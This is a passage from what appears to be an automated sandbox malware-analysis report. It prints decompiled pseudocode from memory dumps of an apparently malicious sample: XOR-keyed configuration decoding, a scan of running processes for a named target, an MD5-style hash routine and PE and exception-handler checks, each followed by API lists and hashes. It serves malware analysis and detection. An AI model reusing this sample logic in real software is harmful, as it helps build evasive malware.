							 *0x173d02c = _v8;
						}
					}
					if(_t85 == 0) {
						_t36 = 0;
					} else {
						_t60 =  *0x173d278; // 0x63699bc3
						_t36 = E01733F7C(_t86, _t85, _t60 ^ 0x2cc1f2fd);
					}
					if(_t36 != 0) {
						_push(_t36);
						_t57 = 0x10;
						_t58 = E01736ED2(_t57);
						if(_t58 != 0) {
							_push(_t58);
							E0173A5D6();
						}
					}
					if(_t85 == 0) {
						_t37 = 0;
					} else {
						_t55 =  *0x173d278; // 0x63699bc3
						_t37 = E01733F7C(_t86, _t85, _t55 ^ 0xb30fc035);
					}
					if(_t37 != 0 && E01736ED2(0, _t37) != 0) {
						_t102 =  *0x173d32c; // 0x3dc95b0
						E017375E9(_t102 + 4, _t53);
					}
					if(_t85 == 0) {
						_t38 = 0;
					} else {
						_t50 =  *0x173d278; // 0x63699bc3
						_t38 = E01733F7C(_t86, _t85, _t50 ^ 0x372ab5b7);
					}
					if(_t38 == 0) {
						L51:
						_t39 =  *0x173d27c; // 0x268a5a8
						_t18 = _t39 + 0x173e252; // 0x616d692f
						 *0x173d2d0 = _t18;
						goto L52;
					} else {
						_t49 = E01736ED2(0, _t38);
						 *0x173d2d0 = _t49;
						if(_t49 != 0) {
							L52:
							if(_t85 == 0) {
								_t41 = 0;
							} else {
								_t46 =  *0x173d278; // 0x63699bc3
								_t41 = E01733F7C(_t86, _t85, _t46 ^ 0xd8dc5cde);
							}
							if(_t41 == 0) {
								_t42 =  *0x173d27c; // 0x268a5a8
								_t19 = _t42 + 0x173e791; // 0x6976612e
								_t43 = _t19;
							} else {
								_t43 = E01736ED2(0, _t41);
							}
							 *0x173d340 = _t43;
							HeapFree( *0x173d238, 0, _t85);
							L60:
							return 0;
						}
						goto L51;
					}
				}
			}

0x01734094
0x01734097
0x017340b7
0x017340c5
0x017340c5
0x017340ca
0x017340e4
0x017342e2
0x017342e4
0x00000000
0x017340ea
0x017340ea
0x017340f1
0x01734107
0x017340f3
0x017340f3
0x01734100
0x01734100
0x01734111
0x01734113
0x0173411d
0x01734122
0x01734122
0x0173411d
0x01734129
0x0173413f
0x0173412b
0x0173412b
0x01734138
0x01734138
0x01734143
0x01734145
0x0173414f
0x01734154
0x01734154
0x0173414f
0x0173415b
0x01734171
0x0173415d
0x0173415d
0x0173416a
0x0173416a
0x01734175
0x01734177
0x01734181
0x01734186
0x01734186
0x01734181
0x0173418d
0x017341a3
0x0173418f
0x0173418f
0x0173419c
0x0173419c
0x017341a7
0x017341a9
0x017341b3
0x017341b8
0x017341b8
0x017341b3
0x017341bf
0x017341d5
0x017341c1
0x017341c1
0x017341ce
0x017341ce
0x017341d9
0x017341db
0x017341e5
0x017341ea
0x017341ea
0x017341e5
0x017341f1
0x01734207
0x017341f3
0x017341f3
0x01734200
0x01734200
0x0173420b
0x0173420d
0x01734210
0x01734211
0x01734218
0x0173421a
0x0173421b
0x0173421b
0x01734218
0x01734222
0x01734238
0x01734224
0x01734224
0x01734231
0x01734231
0x0173423c
0x0173424a
0x01734254
0x01734254
0x0173425b
0x01734271
0x0173425d
0x0173425d
0x0173426a
0x0173426a
0x01734275
0x01734288
0x01734288
0x0173428d
0x01734293
0x00000000
0x01734277
0x0173427a
0x01734281
0x01734286
0x01734298
0x0173429a
0x017342b0
0x0173429c
0x0173429c
0x017342a9
0x017342a9
0x017342b4
0x017342c0
0x017342c5
0x017342c5
0x017342b6
0x017342b9
0x017342b9
0x017342d3
0x017342d8
0x017342e5
0x017342e9
0x017342e9
0x00000000
0x01734286
0x01734275

APIs

StrToIntExA.SHLWAPI(00000000,00000000,?,017323DE,?,63699BC3,017323DE,?,63699BC3,00000005,0173D00C,00000008,?,017323DE), ref: 01734119
StrToIntExA.SHLWAPI(00000000,00000000,?,017323DE,?,63699BC3,017323DE,?,63699BC3,00000005,0173D00C,00000008,?,017323DE), ref: 0173414B
StrToIntExA.SHLWAPI(00000000,00000000,?,017323DE,?,63699BC3,017323DE,?,63699BC3,00000005,0173D00C,00000008,?,017323DE), ref: 0173417D
StrToIntExA.SHLWAPI(00000000,00000000,?,017323DE,?,63699BC3,017323DE,?,63699BC3,00000005,0173D00C,00000008,?,017323DE), ref: 017341AF
StrToIntExA.SHLWAPI(00000000,00000000,?,017323DE,?,63699BC3,017323DE,?,63699BC3,00000005,0173D00C,00000008,?,017323DE), ref: 017341E1
HeapFree.KERNEL32(00000000,017323DE,017323DE,?,63699BC3,017323DE,?,63699BC3,00000005,0173D00C,00000008,?,017323DE), ref: 017342D8

Memory Dump Source

Source File: 00000000.00000002.498617105.0000000001731000.00000020.00000001.sdmp, Offset: 01730000, based on PE: true

Associated: 00000000.00000002.498592682.0000000001730000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.498644538.000000000173C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.498664633.000000000173D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.498687422.000000000173F000.00000002.00000001.sdmp Download File

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 6b2f83c3f959186825a482161eae18a10089b4e22fc97d8131fe51220b9f0cad
Instruction ID: 2704d0c2f234b70aaa15cc067eee85ac07acb11fcd0925c0395170dd9783f67b
Opcode Fuzzy Hash: 6b2f83c3f959186825a482161eae18a10089b4e22fc97d8131fe51220b9f0cad
Instruction Fuzzy Hash: 8E61A6B1714505AEEB34EBF8DC88C5BFBEDABDC2617644A55A903E710BE730D9408720

Uniqueness

Uniqueness Score: -1.00%

Function 0173757F, Relevance: 6.0, APIs: 4, Instructions: 41
processCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E0173757F() {
				char _v264;
				void* _v300;
				int _t8;
				intOrPtr _t9;
				int _t15;
				void* _t17;

				_t15 = 0;
				_t17 = CreateToolhelp32Snapshot(2, 0);
				if(_t17 != 0) {
					_t8 = Process32First(_t17,  &_v300);
					while(_t8 != 0) {
						_t9 =  *0x173d27c; // 0x268a5a8
						_t2 = _t9 + 0x173ee54; // 0x73617661
						_push( &_v264);
						if( *0x173d0fc() != 0) {
							_t15 = 1;
						} else {
							_t8 = Process32Next(_t17,  &_v300);
							continue;
						}
						L7:
						CloseHandle(_t17);
						goto L8;
					}
					goto L7;
				}
				L8:
				return _t15;
			}

0x0173758a
0x01737594
0x01737598
0x017375a2
0x017375d3
0x017375a9
0x017375ae
0x017375bb
0x017375c4
0x017375db
0x017375c6
0x017375ce
0x00000000
0x017375ce
0x017375dc
0x017375dd
0x00000000
0x017375dd
0x00000000
0x017375d7
0x017375e3
0x017375e8

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0173758F
Process32First.KERNEL32(00000000,?), ref: 017375A2
Process32Next.KERNEL32(00000000,?), ref: 017375CE
CloseHandle.KERNEL32(00000000), ref: 017375DD

Memory Dump Source

Source File: 00000000.00000002.498617105.0000000001731000.00000020.00000001.sdmp, Offset: 01730000, based on PE: true

Associated: 00000000.00000002.498592682.0000000001730000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.498644538.000000000173C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.498664633.000000000173D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.498687422.000000000173F000.00000002.00000001.sdmp Download File

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: 522929f6cc238834136e1a1100c45b2349467e0ed3fa4dbdae86ebd1a824b7bd
Instruction ID: 46abfbd086bb280c851d80a915b1709bbdddd2f0e7804ba752bf8d781cac576e
Opcode Fuzzy Hash: 522929f6cc238834136e1a1100c45b2349467e0ed3fa4dbdae86ebd1a824b7bd
Instruction Fuzzy Hash: 31F02BB220506A5BDB35A676CC4CDEBF7ECDBD8311F000061FA15D3086EF24C94947A1

Uniqueness

Uniqueness Score: -1.00%

Function 10001850, Relevance: 6.0, APIs: 4, Instructions: 38
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E10001850() {
				void* _t1;
				long _t3;
				void* _t4;
				long _t5;
				void* _t6;
				intOrPtr _t8;
				void* _t12;

				_t8 =  *0x10004130;
				_t1 = CreateEventA(0, 1, 0, 0);
				 *0x1000413c = _t1;
				if(_t1 == 0) {
					return GetLastError();
				}
				_t3 = GetVersion();
				if(_t3 != 5) {
					L4:
					if(_t12 <= 0) {
						_t4 = 0x32;
						return _t4;
					} else {
						goto L5;
					}
				} else {
					if(_t3 > 0) {
						L5:
						 *0x1000412c = _t3;
						_t5 = GetCurrentProcessId();
						 *0x10004128 = _t5;
						 *0x10004130 = _t8;
						_t6 = OpenProcess(0x10047a, 0, _t5);
						 *0x10004124 = _t6;
						if(_t6 == 0) {
							 *0x10004124 =  *0x10004124 | 0xffffffff;
						}
						return 0;
					} else {
						_t12 = _t3 - _t3;
						goto L4;
					}
				}
			}

0x10001851
0x1000185f
0x10001867
0x1000186c
0x100018be
0x100018be
0x1000186e
0x10001876
0x1000187e
0x1000187e
0x100018ba
0x100018bc
0x00000000
0x00000000
0x00000000
0x10001878
0x1000187a
0x10001880
0x10001880
0x10001885
0x10001893
0x10001898
0x1000189e
0x100018a6
0x100018ab
0x100018ad
0x100018ad
0x100018b7
0x1000187c
0x1000187c
0x00000000
0x1000187c
0x1000187a

APIs

CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,00000000,1000164B,751463F0), ref: 1000185F
GetVersion.KERNEL32 ref: 1000186E
GetCurrentProcessId.KERNEL32 ref: 10001885
OpenProcess.KERNEL32(0010047A,00000000,00000000), ref: 1000189E

Memory Dump Source

Source File: 00000000.00000002.501295929.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.501284605.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.501314538.0000000010005000.00000040.00020000.sdmp Download File

Similarity

API ID: Process$CreateCurrentEventOpenVersion
String ID:
API String ID: 845504543-0
Opcode ID: ad5392e4f8523c6bff8dabd249a7cc4530ce31fe89c4eb97e7685ee26d633860
Instruction ID: 85c0868463d14858f17c42858624fe0a32704ce5df48730f043fd2a385afc03a
Opcode Fuzzy Hash: ad5392e4f8523c6bff8dabd249a7cc4530ce31fe89c4eb97e7685ee26d633860
Instruction Fuzzy Hash: 69F0C2B06492309AF701DF68ADC57C53BE8E7097D2F028215E244D61ECDBB085818B5C

Uniqueness

Uniqueness Score: -1.00%

Function 017397F2, Relevance: 1.9, APIs: 1, Instructions: 610
COMMONCrypto

Download Yara Rule

C-Code - Quality: 50%

			E017397F2(void* __ecx, intOrPtr* _a4) {
				signed int _v8;
				signed int _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				void _v76;
				intOrPtr* _t226;
				signed int _t229;
				signed int _t231;
				signed int _t233;
				signed int _t235;
				signed int _t237;
				signed int _t239;
				signed int _t241;
				signed int _t243;
				signed int _t245;
				signed int _t247;
				signed int _t249;
				signed int _t251;
				signed int _t253;
				signed int _t255;
				signed int _t257;
				signed int _t259;
				signed int _t274;
				signed int _t337;
				void* _t347;
				signed int _t348;
				signed int _t350;
				signed int _t352;
				signed int _t354;
				signed int _t356;
				signed int _t358;
				signed int _t360;
				signed int _t362;
				signed int _t364;
				signed int _t366;
				signed int _t375;
				signed int _t377;
				signed int _t379;
				signed int _t381;
				signed int _t383;
				intOrPtr* _t399;
				signed int _t407;
				signed int _t409;
				signed int _t411;
				signed int _t413;
				signed int _t415;
				signed int _t417;
				signed int _t419;
				signed int _t421;
				signed int _t423;
				signed int _t425;
				signed int _t427;
				signed int _t429;
				signed int _t437;
				signed int _t439;
				signed int _t441;
				signed int _t443;
				signed int _t445;
				void* _t447;
				signed int _t507;
				signed int _t598;
				signed int _t606;
				signed int _t612;
				signed int _t678;
				signed int* _t681;
				signed int _t682;
				signed int _t684;
				signed int _t689;
				signed int _t691;
				signed int _t696;
				signed int _t698;
				signed int _t717;
				signed int _t719;
				signed int _t721;
				signed int _t723;
				signed int _t725;
				signed int _t727;
				signed int _t733;
				signed int _t739;
				signed int _t741;
				signed int _t743;
				signed int _t745;
				signed int _t747;

				_t226 = _a4;
				_t347 = __ecx + 2;
				_t681 =  &_v76;
				_t447 = 0x10;
				do {
					_t274 =  *(_t347 - 1) & 0x000000ff;
					_t347 = _t347 + 4;
					 *_t681 = (0 << 0x00000008 | _t274) << 0x00000008 |  *(_t347 - 6) & 0x000000ff;
					_t681 =  &(_t681[1]);
					_t447 = _t447 - 1;
				} while (_t447 != 0);
				_t6 = _t226 + 4; // 0x14eb3fc3
				_t682 =  *_t6;
				_t7 = _t226 + 8; // 0x8d08458b
				_t407 =  *_t7;
				_t8 = _t226 + 0xc; // 0x56c1184c
				_t348 =  *_t8;
				asm("rol eax, 0x7");
				_t229 = ( !_t682 & _t348 | _t407 & _t682) + _v76 +  *_t226 - 0x28955b88 + _t682;
				asm("rol ecx, 0xc");
				_t350 = ( !_t229 & _t407 | _t682 & _t229) + _v72 + _t348 - 0x173848aa + _t229;
				asm("ror edx, 0xf");
				_t409 = ( !_t350 & _t682 | _t350 & _t229) + _v68 + _t407 + 0x242070db + _t350;
				asm("ror esi, 0xa");
				_t684 = ( !_t409 & _t229 | _t350 & _t409) + _v64 + _t682 - 0x3e423112 + _t409;
				_v8 = _t684;
				_t689 = _v8;
				asm("rol eax, 0x7");
				_t231 = ( !_t684 & _t350 | _t409 & _v8) + _v60 + _t229 - 0xa83f051 + _t689;
				asm("rol ecx, 0xc");
				_t352 = ( !_t231 & _t409 | _t689 & _t231) + _v56 + _t350 + 0x4787c62a + _t231;
				asm("ror edx, 0xf");
				_t411 = ( !_t352 & _t689 | _t352 & _t231) + _v52 + _t409 - 0x57cfb9ed + _t352;
				asm("ror esi, 0xa");
				_t691 = ( !_t411 & _t231 | _t352 & _t411) + _v48 + _t689 - 0x2b96aff + _t411;
				_v8 = _t691;
				_t696 = _v8;
				asm("rol eax, 0x7");
				_t233 = ( !_t691 & _t352 | _t411 & _v8) + _v44 + _t231 + 0x698098d8 + _t696;
				asm("rol ecx, 0xc");
				_t354 = ( !_t233 & _t411 | _t696 & _t233) + _v40 + _t352 - 0x74bb0851 + _t233;
				asm("ror edx, 0xf");
				_t413 = ( !_t354 & _t696 | _t354 & _t233) + _v36 + _t411 - 0xa44f + _t354;
				asm("ror esi, 0xa");
				_t698 = ( !_t413 & _t233 | _t354 & _t413) + _v32 + _t696 - 0x76a32842 + _t413;
				_v8 = _t698;
				asm("rol eax, 0x7");
				_t235 = ( !_t698 & _t354 | _t413 & _v8) + _v28 + _t233 + 0x6b901122 + _v8;
				asm("rol ecx, 0xc");
				_t356 = ( !_t235 & _t413 | _v8 & _t235) + _v24 + _t354 - 0x2678e6d + _t235;
				_t507 =  !_t356;
				asm("ror edx, 0xf");
				_t415 = (_t507 & _v8 | _t356 & _t235) + _v20 + _t413 - 0x5986bc72 + _t356;
				_v12 = _t415;
				_v12 =  !_v12;
				asm("ror esi, 0xa");
				_t717 = (_v12 & _t235 | _t356 & _t415) + _v16 + _v8 + 0x49b40821 + _t415;
				asm("rol eax, 0x5");
				_t237 = (_t507 & _t415 | _t356 & _t717) + _v72 + _t235 - 0x9e1da9e + _t717;
				asm("rol ecx, 0x9");
				_t358 = (_v12 & _t717 | _t415 & _t237) + _v52 + _t356 - 0x3fbf4cc0 + _t237;
				asm("rol edx, 0xe");
				_t417 = ( !_t717 & _t237 | _t358 & _t717) + _v32 + _t415 + 0x265e5a51 + _t358;
				asm("ror esi, 0xc");
				_t719 = ( !_t237 & _t358 | _t417 & _t237) + _v76 + _t717 - 0x16493856 + _t417;
				asm("rol eax, 0x5");
				_t239 = ( !_t358 & _t417 | _t358 & _t719) + _v56 + _t237 - 0x29d0efa3 + _t719;
				asm("rol ecx, 0x9");
				_t360 = ( !_t417 & _t719 | _t417 & _t239) + _v36 + _t358 + 0x2441453 + _t239;
				asm("rol edx, 0xe");
				_t419 = ( !_t719 & _t239 | _t360 & _t719) + _v16 + _t417 - 0x275e197f + _t360;
				asm("ror esi, 0xc");
				_t721 = ( !_t239 & _t360 | _t419 & _t239) + _v60 + _t719 - 0x182c0438 + _t419;
				asm("rol eax, 0x5");
				_t241 = ( !_t360 & _t419 | _t360 & _t721) + _v40 + _t239 + 0x21e1cde6 + _t721;
				asm("rol ecx, 0x9");
				_t362 = ( !_t419 & _t721 | _t419 & _t241) + _v20 + _t360 - 0x3cc8f82a + _t241;
				asm("rol edx, 0xe");
				_t421 = ( !_t721 & _t241 | _t362 & _t721) + _v64 + _t419 - 0xb2af279 + _t362;
				asm("ror esi, 0xc");
				_t723 = ( !_t241 & _t362 | _t421 & _t241) + _v44 + _t721 + 0x455a14ed + _t421;
				asm("rol eax, 0x5");
				_t243 = ( !_t362 & _t421 | _t362 & _t723) + _v24 + _t241 - 0x561c16fb + _t723;
				asm("rol ecx, 0x9");
				_t364 = ( !_t421 & _t723 | _t421 & _t243) + _v68 + _t362 - 0x3105c08 + _t243;
				asm("rol edx, 0xe");
				_t423 = ( !_t723 & _t243 | _t364 & _t723) + _v48 + _t421 + 0x676f02d9 + _t364;
				asm("ror esi, 0xc");
				_t725 = ( !_t243 & _t364 | _t423 & _t243) + _v28 + _t723 - 0x72d5b376 + _t423;
				asm("rol eax, 0x4");
				_t245 = (_t364 ^ _t423 ^ _t725) + _v56 + _t243 - 0x5c6be + _t725;
				asm("rol ecx, 0xb");
				_t366 = (_t423 ^ _t725 ^ _t245) + _v44 + _t364 - 0x788e097f + _t245;
				asm("rol edx, 0x10");
				_t425 = (_t366 ^ _t725 ^ _t245) + _v32 + _t423 + 0x6d9d6122 + _t366;
				_t598 = _t366 ^ _t425;
				asm("ror esi, 0x9");
				_t727 = (_t598 ^ _t245) + _v20 + _t725 - 0x21ac7f4 + _t425;
				asm("rol eax, 0x4");
				_t247 = (_t598 ^ _t727) + _v72 + _t245 - 0x5b4115bc + _t727;
				asm("rol edi, 0xb");
				_t606 = (_t425 ^ _t727 ^ _t247) + _v60 + _t366 + 0x4bdecfa9 + _t247;
				asm("rol edx, 0x10");
				_t427 = (_t606 ^ _t727 ^ _t247) + _v48 + _t425 - 0x944b4a0 + _t606;
				_t337 = _t606 ^ _t427;
				asm("ror ecx, 0x9");
				_t375 = (_t337 ^ _t247) + _v36 + _t727 - 0x41404390 + _t427;
				asm("rol eax, 0x4");
				_t249 = (_t337 ^ _t375) + _v24 + _t247 + 0x289b7ec6 + _t375;
				asm("rol esi, 0xb");
				_t733 = (_t427 ^ _t375 ^ _t249) + _v76 + _t606 - 0x155ed806 + _t249;
				asm("rol edi, 0x10");
				_t612 = (_t733 ^ _t375 ^ _t249) + _v64 + _t427 - 0x2b10cf7b + _t733;
				_t429 = _t733 ^ _t612;
				asm("ror ecx, 0x9");
				_t377 = (_t429 ^ _t249) + _v52 + _t375 + 0x4881d05 + _t612;
				asm("rol eax, 0x4");
				_t251 = (_t429 ^ _t377) + _v40 + _t249 - 0x262b2fc7 + _t377;
				asm("rol edx, 0xb");
				_t437 = (_t612 ^ _t377 ^ _t251) + _v28 + _t733 - 0x1924661b + _t251;
				asm("rol esi, 0x10");
				_t739 = (_t437 ^ _t377 ^ _t251) + _v16 + _t612 + 0x1fa27cf8 + _t437;
				asm("ror ecx, 0x9");
				_t379 = (_t437 ^ _t739 ^ _t251) + _v68 + _t377 - 0x3b53a99b + _t739;
				asm("rol eax, 0x6");
				_t253 = (( !_t437 | _t379) ^ _t739) + _v76 + _t251 - 0xbd6ddbc + _t379;
				asm("rol edx, 0xa");
				_t439 = (( !_t739 | _t253) ^ _t379) + _v48 + _t437 + 0x432aff97 + _t253;
				asm("rol esi, 0xf");
				_t741 = (( !_t379 | _t439) ^ _t253) + _v20 + _t739 - 0x546bdc59 + _t439;
				asm("ror ecx, 0xb");
				_t381 = (( !_t253 | _t741) ^ _t439) + _v56 + _t379 - 0x36c5fc7 + _t741;
				asm("rol eax, 0x6");
				_t255 = (( !_t439 | _t381) ^ _t741) + _v28 + _t253 + 0x655b59c3 + _t381;
				asm("rol edx, 0xa");
				_t441 = (( !_t741 | _t255) ^ _t381) + _v64 + _t439 - 0x70f3336e + _t255;
				asm("rol esi, 0xf");
				_t743 = (( !_t381 | _t441) ^ _t255) + _v36 + _t741 - 0x100b83 + _t441;
				asm("ror ecx, 0xb");
				_t383 = (( !_t255 | _t743) ^ _t441) + _v72 + _t381 - 0x7a7ba22f + _t743;
				asm("rol eax, 0x6");
				_t257 = (( !_t441 | _t383) ^ _t743) + _v44 + _t255 + 0x6fa87e4f + _t383;
				asm("rol edx, 0xa");
				_t443 = (( !_t743 | _t257) ^ _t383) + _v16 + _t441 - 0x1d31920 + _t257;
				asm("rol esi, 0xf");
				_t745 = (( !_t383 | _t443) ^ _t257) + _v52 + _t743 - 0x5cfebcec + _t443;
				asm("ror edi, 0xb");
				_t678 = (( !_t257 | _t745) ^ _t443) + _v24 + _t383 + 0x4e0811a1 + _t745;
				asm("rol eax, 0x6");
				_t259 = (( !_t443 | _t678) ^ _t745) + _v60 + _t257 - 0x8ac817e + _t678;
				asm("rol edx, 0xa");
				_t445 = (( !_t745 | _t259) ^ _t678) + _v32 + _t443 - 0x42c50dcb + _t259;
				_t399 = _a4;
				asm("rol esi, 0xf");
				_t747 = (( !_t678 | _t445) ^ _t259) + _v68 + _t745 + 0x2ad7d2bb + _t445;
				 *_t399 =  *_t399 + _t259;
				asm("ror eax, 0xb");
				 *((intOrPtr*)(_t399 + 4)) = (( !_t259 | _t747) ^ _t445) + _v40 + _t678 - 0x14792c6f +  *((intOrPtr*)(_t399 + 4)) + _t747;
				 *((intOrPtr*)(_t399 + 8)) =  *((intOrPtr*)(_t399 + 8)) + _t747;
				 *((intOrPtr*)(_t399 + 0xc)) =  *((intOrPtr*)(_t399 + 0xc)) + _t445;
				return memset( &_v76, 0, 0x40);
			}

0x017397f5
0x01739800
0x01739803
0x01739806
0x01739807
0x01739807
0x01739812
0x01739823
0x01739825
0x01739828
0x01739828
0x0173982b
0x0173982b
0x0173982e
0x0173982e
0x01739831
0x01739831
0x0173984e
0x01739851
0x01739867
0x0173986a
0x01739884
0x01739887
0x0173989d
0x017398a0
0x017398a2
0x017398ba
0x017398bd
0x017398c0
0x017398d8
0x017398db
0x017398f5
0x017398f8
0x0173990e
0x01739911
0x01739913
0x0173992b
0x01739930
0x01739933
0x01739949
0x0173994c
0x01739966
0x01739969
0x0173997f
0x01739982
0x01739984
0x0173999f
0x017399a2
0x017399b9
0x017399bc
0x017399c0
0x017399d9
0x017399dc
0x017399de
0x017399e1
0x017399fc
0x017399ff
0x01739a18
0x01739a1b
0x01739a2b
0x01739a2e
0x01739a46
0x01739a49
0x01739a63
0x01739a66
0x01739a7e
0x01739a81
0x01739a97
0x01739a9a
0x01739ab2
0x01739ab5
0x01739acd
0x01739ad0
0x01739aea
0x01739aed
0x01739b03
0x01739b06
0x01739b1e
0x01739b21
0x01739b3b
0x01739b3e
0x01739b56
0x01739b59
0x01739b6f
0x01739b72
0x01739b8a
0x01739b8d
0x01739ba5
0x01739ba8
0x01739bba
0x01739bbd
0x01739bcf
0x01739bd2
0x01739be4
0x01739be7
0x01739beb
0x01739bfb
0x01739bfe
0x01739c0c
0x01739c0f
0x01739c21
0x01739c24
0x01739c38
0x01739c3b
0x01739c3d
0x01739c4d
0x01739c50
0x01739c62
0x01739c65
0x01739c73
0x01739c76
0x01739c88
0x01739c8b
0x01739c8f
0x01739c9f
0x01739ca2
0x01739cb4
0x01739cb7
0x01739cc5
0x01739cc8
0x01739cda
0x01739cdd
0x01739cef
0x01739cf2
0x01739d06
0x01739d09
0x01739d1d
0x01739d20
0x01739d34
0x01739d37
0x01739d4b
0x01739d4e
0x01739d62
0x01739d65
0x01739d79
0x01739d7e
0x01739d90
0x01739d93
0x01739da7
0x01739daa
0x01739dbe
0x01739dc1
0x01739dd7
0x01739dda
0x01739dee
0x01739df1
0x01739e03
0x01739e06
0x01739e1a
0x01739e1d
0x01739e31
0x01739e34
0x01739e48
0x01739e51
0x01739e54
0x01739e5d
0x01739e66
0x01739e6e
0x01739e76
0x01739e80
0x01739e95

APIs

memset.NTDLL ref: 01739E89

Memory Dump Source

Source File: 00000000.00000002.498617105.0000000001731000.00000020.00000001.sdmp, Offset: 01730000, based on PE: true

Associated: 00000000.00000002.498592682.0000000001730000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.498644538.000000000173C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.498664633.000000000173D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.498687422.000000000173F000.00000002.00000001.sdmp Download File

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 52e03f73daf1acbc6a4f2a9c02c66ec997d616785c4cba18c714e75c778021e1
Instruction ID: 39d99db07e5c3abdf12ea8ef5cce3d0f1b5931dc2d528ba990b153d8cbe35313
Opcode Fuzzy Hash: 52e03f73daf1acbc6a4f2a9c02c66ec997d616785c4cba18c714e75c778021e1
Instruction Fuzzy Hash: 8E22847BE516169BDB08CA95CC805E9B3E3BBC832471F9179C919E3305EE797A0786C0

Uniqueness

Uniqueness Score: -1.00%

Function 10002375, Relevance: 1.7, APIs: 1, Instructions: 195
nativeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E10002375(long _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				signed int _v16;
				short* _v32;
				void _v36;
				void* _t57;
				signed int _t58;
				signed int _t61;
				signed int _t62;
				void* _t63;
				signed int* _t68;
				intOrPtr* _t69;
				intOrPtr* _t71;
				intOrPtr _t72;
				intOrPtr _t75;
				void* _t76;
				signed int _t77;
				void* _t78;
				void _t80;
				signed int _t81;
				signed int _t84;
				signed int _t86;
				short* _t87;
				void* _t89;
				signed int* _t90;
				long _t91;
				signed int _t93;
				signed int _t94;
				signed int _t100;
				signed int _t102;
				void* _t104;
				long _t108;
				signed int _t110;

				_t108 = _a4;
				_t76 =  *(_t108 + 8);
				if((_t76 & 0x00000003) != 0) {
					L3:
					return 0;
				}
				_a4 =  *[fs:0x4];
				_v8 =  *[fs:0x8];
				if(_t76 < _v8 || _t76 >= _a4) {
					_t102 =  *(_t108 + 0xc);
					__eflags = _t102 - 0xffffffff;
					if(_t102 != 0xffffffff) {
						_t91 = 0;
						__eflags = 0;
						_a4 = 0;
						_t57 = _t76;
						do {
							_t80 =  *_t57;
							__eflags = _t80 - 0xffffffff;
							if(_t80 == 0xffffffff) {
								goto L9;
							}
							__eflags = _t80 - _t91;
							if(_t80 >= _t91) {
								L20:
								_t63 = 0;
								L60:
								return _t63;
							}
							L9:
							__eflags =  *(_t57 + 4);
							if( *(_t57 + 4) != 0) {
								_t12 =  &_a4;
								 *_t12 = _a4 + 1;
								__eflags =  *_t12;
							}
							_t91 = _t91 + 1;
							_t57 = _t57 + 0xc;
							__eflags = _t91 - _t102;
						} while (_t91 <= _t102);
						__eflags = _a4;
						if(_a4 == 0) {
							L15:
							_t81 =  *0x10004178;
							_t110 = _t76 & 0xfffff000;
							_t58 = 0;
							__eflags = _t81;
							if(_t81 <= 0) {
								L18:
								_t104 = _t102 | 0xffffffff;
								_t61 = NtQueryVirtualMemory(_t104, _t76, 0,  &_v36, 0x1c,  &_a4);
								__eflags = _t61;
								if(_t61 < 0) {
									_t62 = 0;
									__eflags = 0;
								} else {
									_t62 = _a4;
								}
								__eflags = _t62;
								if(_t62 == 0) {
									L59:
									_t63 = _t104;
									goto L60;
								} else {
									__eflags = _v12 - 0x1000000;
									if(_v12 != 0x1000000) {
										goto L59;
									}
									__eflags = _v16 & 0x000000cc;
									if((_v16 & 0x000000cc) == 0) {
										L46:
										_t63 = 1;
										 *0x100041c0 = 1;
										__eflags =  *0x100041c0;
										if( *0x100041c0 != 0) {
											goto L60;
										}
										_t84 =  *0x10004178;
										__eflags = _t84;
										_t93 = _t84;
										if(_t84 <= 0) {
											L51:
											__eflags = _t93;
											if(_t93 != 0) {
												L58:
												 *0x100041c0 = 0;
												goto L5;
											}
											_t77 = 0xf;
											__eflags = _t84 - _t77;
											if(_t84 <= _t77) {
												_t77 = _t84;
											}
											_t94 = 0;
											__eflags = _t77;
											if(_t77 < 0) {
												L56:
												__eflags = _t84 - 0x10;
												if(_t84 < 0x10) {
													_t86 = _t84 + 1;
													__eflags = _t86;
													 *0x10004178 = _t86;
												}
												goto L58;
											} else {
												do {
													_t68 = 0x10004180 + _t94 * 4;
													_t94 = _t94 + 1;
													__eflags = _t94 - _t77;
													 *_t68 = _t110;
													_t110 =  *_t68;
												} while (_t94 <= _t77);
												goto L56;
											}
										}
										_t69 = 0x1000417c + _t84 * 4;
										while(1) {
											__eflags =  *_t69 - _t110;
											if( *_t69 == _t110) {
												goto L51;
											}
											_t93 = _t93 - 1;
											_t69 = _t69 - 4;
											__eflags = _t93;
											if(_t93 > 0) {
												continue;
											}
											goto L51;
										}
										goto L51;
									}
									_t87 = _v32;
									__eflags =  *_t87 - 0x5a4d;
									if( *_t87 != 0x5a4d) {
										goto L59;
									}
									_t71 =  *((intOrPtr*)(_t87 + 0x3c)) + _t87;
									__eflags =  *_t71 - 0x4550;
									if( *_t71 != 0x4550) {
										goto L59;
									}
									__eflags =  *((short*)(_t71 + 0x18)) - 0x10b;
									if( *((short*)(_t71 + 0x18)) != 0x10b) {
										goto L59;
									}
									_t78 = _t76 - _t87;
									__eflags =  *((short*)(_t71 + 6));
